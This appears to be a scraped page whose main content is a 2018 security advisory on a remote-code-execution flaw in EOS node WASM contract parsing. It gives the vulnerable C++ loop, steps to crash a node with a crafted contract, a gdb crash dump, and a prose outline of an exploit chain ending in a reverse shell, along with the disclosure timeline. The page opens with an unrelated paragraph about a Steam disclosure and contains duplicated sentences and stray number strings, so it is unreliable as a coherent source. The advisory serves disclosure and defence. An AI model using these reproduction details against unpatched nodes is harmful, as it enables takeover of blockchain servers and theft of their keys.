As a final note, it is worth commenting on the responsible disclosure process. This bug was disclosed to Valve in an email to their security team (security@valvesoftware.com) at around 4pm GMT and just 8 hours later a fix had been produced and pushed to the beta branch of the Steam client. As a result, Valve now hold the top spot in the (imaginary) Context fastest-to-fix leaderboard, a welcome change from the often lengthy back-and-forth process often encountered when disclosing to other vendors.

A page detailing all updates to the Steam client can be found at https://store.steampowered.com/news/38412/

EOS Node Remote Code Execution Vulnerability — EOS WASM Contract Function Table Array Out of Bounds

Vulnerability Description

EOS Node Remote Code Execution Vulnerability — EOS WASM Contract Function Table Array Out of Bounds
EOS Node Remote Code Execution Vulnerability — EOS WASM Contract Function Table Array Out of Bounds

We found and successfully exploit a buffer out-of-bounds write vulnerability in EOS when parsing a WASM file.

To use this vulnerability, attacker could upload a malicious smart contract to the nodes server, after the contract get parsed by nodes server, the malicious payload could execute on the server and taken control of it.

After taken control of the nodes server, attacker could then pack the malicious contract into new block and further control all nodes of the EOS network.

Vulnerability Reporting Timeline

2018-5-11                  EOS Out-of-bound Write Vulnerability Found

2018-5-28                Full Exploit Demo of Compromise EOS Super Node Completed

2018-5-28                Vulnerability Details Reported to Vendor

2018-5-29                 Vendor Fixed the Vulnerability on Github and Closed the Issue

2018-5-29                   Notices the Vendor the Fixing is not complete

Some Telegram chats with Daniel Larimer:

We trying to report the bug to him.

He said they will not ship the EOS without fixing, and ask us send the report privately since some people are running public test nets

 +1,699,900 470,700 2,098,300 Critical RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System

He provided his mailbox and we send the report to him

 +1,699,900 470,700 2,098,300 Critical RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System

He provided his mailbox and we send the report to him

EOS fixed the vulnerability and Daniel would give the acknowledgement.

RCE Flaw Discovered in Blockchain-Based EOS Smart Contract System

Technical Detail of the Vulnerability  

This is a buffer out-of-bounds write vulnerability

At libraries/chain/webassembly/binaryen.cpp (Line 78),Function binaryen_runtime::instantiate_module:

for (auto& segment : module->table.segments) {
Address offset = ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).value.geti32();
assert(offset + segment.data.size() <= module->table.initial);
for (size_t i = 0; i != segment.data.size(); ++i) {
table[offset + i] = segment.data[i]; <= OOB write here !
}
}

Here table is a std::vector contains the Names in the function table. When storing elements into the table, the |offset| filed is not correctly checked. Note there is a assert before setting the value, which checks the offset, however unfortunately, |assert| only works in Debug build and does not work in a Release build.

The table is initialized earlier in the statement:

table.resize(module->table.initial);

Here |module->table.initial| is read from the function table declaration section in the WASM file and the valid value for this field is 0 ~ 1024.

The |offset| filed is also read from the WASM file, in the data section, it is a signed 32-bits value.

So basically with this vulnerability we can write to a fairly wide range after the table vector’s memory.

How to reproduce the vulnerability

  1. Build the release version of latest EOS code

./eosio-build.sh

  1. Start EOS node, finish all the necessary settings described at:

https://github.com/EOSIO/eos/wiki/Tutorial-Getting-Started-With-Contracts

  1. Set a vulnerable contract:

We have provided a proof of concept WASM to demonstrate a crash.

In our PoC, we simply set the |offset| field to 0xffffffff so it can crash immediately when the out of bound write occurs.

To test the PoC:
cd poc
cleos set contract eosio ../poc -p eosio

If everything is OK, you will see nodeos process gets segment fault.

The crash info:

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x0000000000a32f7c in eosio::chain::webassembly::binaryen::binaryen_runtime::instantiate_module(char const*, unsigned long, std::vector<unsigned char, std::allocator<unsigned char> >) ()

(gdb) x/i $pc

=> 0xa32f7c <_ZN5eosio5chain11webassembly8binaryen16binaryen_runtime18instantiate_moduleEPKcmSt6vectorIhSaIhEE+2972>:   mov    %rcx,(%rdx,%rax,1)

(gdb) p $rdx

$1 = 59699184

(gdb) p $rax

$2 = 34359738360

Here |rdx| points to the start of the |table| vector,

And |rax| is 0x7FFFFFFF8, which holds the value of |offset| * 8.

Exploit the vulnerability to achieve Remote Code Execution

This vulnerability could be leveraged to achieve remote code execution in the nodeos process, by uploading malicious contracts to the victim node and letting the node parse the malicious contract. In a real attack, the attacker may publishes a malicious contract to the EOS main network.

The malicious contract is first parsed by the EOS super node, then the vulnerability was triggered and the attacker controls the EOS super node which parsed the contract.

The attacker can steal the private key of super nodes or control content of new blocks. What’s more, attackers can pack the malicious contract into a new block and publish it. As a result, all the full nodes in the entire network will be controlled by the attacker.

We have finished a proof-of-concept exploit, and tested on the nodeos build on 64-bits Ubuntu system. The exploit works like this:

  1. The attacker uploads malicious contracts to the nodeos server.
  2. The server nodeos process parses the malicious contracts, which triggers the vulnerability.
  3. With the out of bound write primitive, we can overwrite the WASM memory buffer of a WASM module instance. And with the help of our malicious WASM code, we finally achieves arbitrary memory read/write in the nodeos process and bypass the common exploit mitigation techniques such as DEP/ASLR on 64-bits OS.
  4. Once successfully exploited, the exploit starts a reverse shell and connects back to the attacker.

You can refer to the video we provided to get some idea about what the exploit looks like, We may provide the full exploit chain later.

The Fixing of Vulnerability

Bytemaster on EOS’s github opened issue 3498 for the vulnerability that we reported:

And fixed the related code

But as the comment made by Yuki on the commit, the fixing is still have problem on 32-bits process and not so prefect.